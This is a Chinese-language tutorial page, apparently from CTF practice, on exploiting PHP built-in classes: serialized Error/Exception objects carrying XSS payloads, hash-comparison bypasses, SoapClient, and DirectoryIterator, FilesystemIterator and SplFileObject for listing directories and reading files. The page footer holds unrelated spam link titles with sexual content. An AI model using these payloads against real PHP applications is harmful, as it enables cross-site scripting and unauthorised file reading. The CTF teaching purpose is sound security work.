站長(zhǎng)資訊網(wǎng)
        最全最豐富的資訊網(wǎng)站

        PHP原生類的總結(jié)分享

        本篇文章給大家?guī)砹岁P(guān)于PHP的相關(guān)知識(shí),其中主要介紹了關(guān)于原生類的相關(guān)內(nèi)容,下面一起來看一下,希望對(duì)大家有幫助。

        PHP原生類的總結(jié)分享

        這次HEctf就是一個(gè)原生類的題,只有短短三行代碼。果然越短小的代碼在ctf里越難。

        首先貼一個(gè)遍歷php內(nèi)置類的腳本

         <?php $classes = get_declared_classes(); foreach ($classes as $class) {     $methods = get_class_methods($class);     foreach ($methods as $method) {         if (in_array($method, array(             '__destruct',             '__toString',             '__wakeup',             '__call',             '__callStatic',             '__get',             '__set',             '__isset',             '__unset',             '__invoke',             '__set_state'    // 可以根據(jù)題目環(huán)境將指定的方法添加進(jìn)來, 來遍歷存在指定方法的原生類         ))) {             print $class . '::' . $method . "n";         }     }      }
        登錄后復(fù)制

        結(jié)果:

        PHP原生類的總結(jié)分享

        整理一下:

        Exception ErrorException Error ParseError TypeError ArgumentCountError  ArithmeticError DivisionByZeroError ClosedGeneratorException DateTime DateTimeZone DatePeriod DirectoryIterator wakeup JsonException wakeup LogicException BadFunctionCallException InvalidArgumentException  OutOfRangeException RuntimeException OverflowException RangeException UnderflowException GlobIterator SplFixedArray ReflectionException ReflectionFunctionAbstract ReflectionParameter ReflectionMethod ReflectionClass ReflectionClassConstant ReflectionZendExtension AssertionError DOMException PDOException SimpleXMLElement mysqli_sql_exception PharException PharData PharFileInfo
        登錄后復(fù)制

        大概就是這些類了,但是在ctf比賽中經(jīng)常會(huì)用到的就是以下幾類

        • Error
        • Exception
        • SoapClient
        • DirectoryIterator
        • SimpleXMLElement

        Error/Exception 內(nèi)置類進(jìn)行 XSS

        error xss

        __toString方法會(huì)返回錯(cuò)誤或異常的字符串形式,其中包含我們輸入的參數(shù),如果我們構(gòu)造一串xss代碼,結(jié)合echo渲染,將觸發(fā)反射形xss漏洞

        demo:

        <?php $a = unserialize($_GET['a']);echo $a;
        登錄后復(fù)制

        poc

        <?php $a = new Error("<script>alert('hacker')</script>"); $b = serialize($a); echo urlencode($b);
        登錄后復(fù)制

        輸出了一串字符串

        O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3 Bs%3A32%3A%22%3Cscript%3Ealert%28%27hacker%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A25%3A%22E%3A%5Cphp%5Cfunction%5Ctest2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D復(fù)制代碼
        登錄后復(fù)制

        成功彈窗

        PHP原生類的總結(jié)分享

        exception xss

        Exception是所有用戶級(jí)異常的基類。 (PHP 5, 7, 8)

        <?php $a = new Exception("<script>alert('hacker')</script>"); $b = serialize($a); echo urlencode($b); ?>
        登錄后復(fù)制

        和error的pop的構(gòu)造好像是一樣的(exception適用于php5和7,error只適用于php7),把error換成exception就行了。依然成功彈窗

        PHP原生類的總結(jié)分享

        Error/Exception 內(nèi)置類繞過哈希比較

        通過構(gòu)造這兩個(gè)類可以啊繞過md5()和sha1()函數(shù)。error和exception都有一個(gè)重要方法:_tostring,用于將異常對(duì)象轉(zhuǎn)換為字符串。

        同樣,當(dāng)md5()和sha1()函數(shù)處理對(duì)象時(shí),會(huì)自動(dòng)調(diào)用__tostring方法

        <?php $a = new Error("payload",1);$b=new Error("payload",2); echo $a."<br>"; echo $b."<br>";
        登錄后復(fù)制

        輸出結(jié)果

        PHP原生類的總結(jié)分享可以看出,payload后面的參數(shù)并不影響輸出的結(jié)果。正是通過這個(gè)可以繞過哈希函數(shù)。

        <?php $a=new Error("payload",1);$b=new Error("payload",2); if ($a!=$b){     echo '$a不等于$b'."n ";} if (md5($a)===md5($b)) {     echo "md5值相等n"; } if (sha1($a)===sha1($b)){     echo "sha1值相等n"; }
        登錄后復(fù)制

        PHP原生類的總結(jié)分享

        soapclient

        soap的定義

        簡(jiǎn)單對(duì)象訪問協(xié)議含義

        這里之所以說是簡(jiǎn)單,是因?yàn)樗腔谝呀?jīng)廣泛使用的兩個(gè)協(xié)議:HTTP和XML,所以業(yè)界把這種技術(shù)稱為“它是第一個(gè)沒有發(fā)明任何新技術(shù)的技術(shù)",之所以說是對(duì)象,是因?yàn)榘言L問的Web服務(wù)稱為對(duì)象,既然服務(wù)是對(duì)象,那么服務(wù)肯定有相關(guān)的屬性和調(diào)用行為,這些屬性和行為是通過WSDL來描述的。如果按“簡(jiǎn)單的對(duì)象訪問協(xié)議”來理解,相比“簡(jiǎn)單對(duì)象訪問協(xié)議”要容易些

        PHP 的內(nèi)置類 SoapClient 是一個(gè)專門用來訪問web服務(wù)的類,可以提供一個(gè)基于SOAP協(xié)議訪問Web服務(wù)的 PHP 客戶端。

        該類的構(gòu)造函數(shù)如下:

        public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
        登錄后復(fù)制

        • 第一個(gè)參數(shù)是用來指明是否是wsdl模式,將該值設(shè)為null則表示非wsdl模式。
        • 第二個(gè)參數(shù)為一個(gè)數(shù)組,如果在wsdl模式下,此參數(shù)可選;如果在非wsdl模式下,則必須設(shè)置location和uri選項(xiàng),其中l(wèi)ocation是要將請(qǐng)求發(fā)送到的SOAP服務(wù)器的URL,而uri 是SOAP服務(wù)的目標(biāo)命名空間。

        php原生文件操作類

        目錄遍歷

        DirectoryIterator

        __toString 獲取字符串形式的文件名 (PHP 5,7,8)

        例如:

        <?php $a = new DirectoryIterator("/"); foreach($a as $b){     echo($b.'</br>'); } echo $a;
        登錄后復(fù)制

        PHP原生類的總結(jié)分享輸出指定目錄里面經(jīng)過排序之后的第一個(gè)文件名

        使用此內(nèi)置類的__toString方法結(jié)合glob或file協(xié)議,即可實(shí)現(xiàn)目錄遍歷

        <?php $a = new DirectoryIterator("glob://*"); foreach ($a as $b){     echo $b.'<br>'; }
        登錄后復(fù)制

        PHP原生類的總結(jié)分享

        利用foreach能遍歷所有的文件

        <?php $a = new DirectoryIterator("glob:///*"); foreach ($a as $b){     echo $b.'<br>'; }
        登錄后復(fù)制

        PHP原生類的總結(jié)分享

        多一個(gè)斜杠,目錄往前一個(gè)。

        FilesystemIterator 類

        FilesystemIterator 類與 DirectoryIterator 類相同,提供了一個(gè)用于查看文件系統(tǒng)目錄內(nèi)容的簡(jiǎn)單接口。該類的構(gòu)造方法將會(huì)創(chuàng)建一個(gè)指定目錄的迭代器。

        該類的使用方法與DirectoryIterator 類也是基本相同的:

        <?php $a = new FilesystemIterator("glob:///*"); foreach ($a as $b){     echo $b.'<br>'; }
        登錄后復(fù)制

        PHP原生類的總結(jié)分享

        文件讀取

        SplFileObject::__toString — 以字符串形式返回文件的路徑

        <?php $a = new SplFileObject('flag.txt'); echo $a;
        登錄后復(fù)制

        PHP原生類的總結(jié)分享輸出多行

        <?php $a = new SplFileObject('flag.txt'); foreach($a as $f){     echo($f); }
        登錄后復(fù)制

        PHP原生類的總結(jié)分享

        推薦學(xué)習(xí):《PHP視頻教程》

        贊(0)
        分享到: 更多 (0)
        網(wǎng)站地圖   滬ICP備18035694號(hào)-2    滬公網(wǎng)安備31011702889846號(hào)
        主站蜘蛛池模板: 3D动漫精品一区二区三区| 国产精品丝袜黑色高跟鞋| 日韩精品电影一区亚洲| 国产91精品在线观看| 国产精品无圣光一区二区| 国产综合色在线精品| 97久久精品无码一区二区| 午夜精品美女自拍福到在线| 国产成人精品久久亚洲高清不卡| 国产一级精品高清一级毛片| 国精品产露脸自拍| 亚洲精品无码专区久久久| 精品人妻大屁股白浆无码| 四虎成人精品免费影院| 日本加勒比久久精品| 久久99国产综合精品| 国产精品一区二区av| 91精品国产综合久久四虎久久无码一级| 国产精品JIZZ在线观看老狼| 亚欧洲精品在线视频免费观看| 55夜色66夜色国产精品视频| 久草视频精品在线| 91麻豆精品视频在线观看| www夜片内射视频日韩精品成人| 亚洲A∨精品一区二区三区| 国产精品日本一区二区不卡视频| 国产高清精品一区| 国产精品免费无遮挡无码永久视频 | 欧美日韩国产精品| 91精品国产综合久久精品| 好湿好大硬得深一点动态图91精品福利一区二区| 国产精品无码一区二区在线观一| 伊人久久无码精品中文字幕| 四虎国产精品永久一区| 久久丫精品国产亚洲av| 人妻少妇看A偷人无码精品视频| 国产精品专区第二| 日韩精品专区在线影院重磅| 2022国产精品福利在线观看| 国产精品亚洲专区无码WEB| 99在线精品视频在线观看|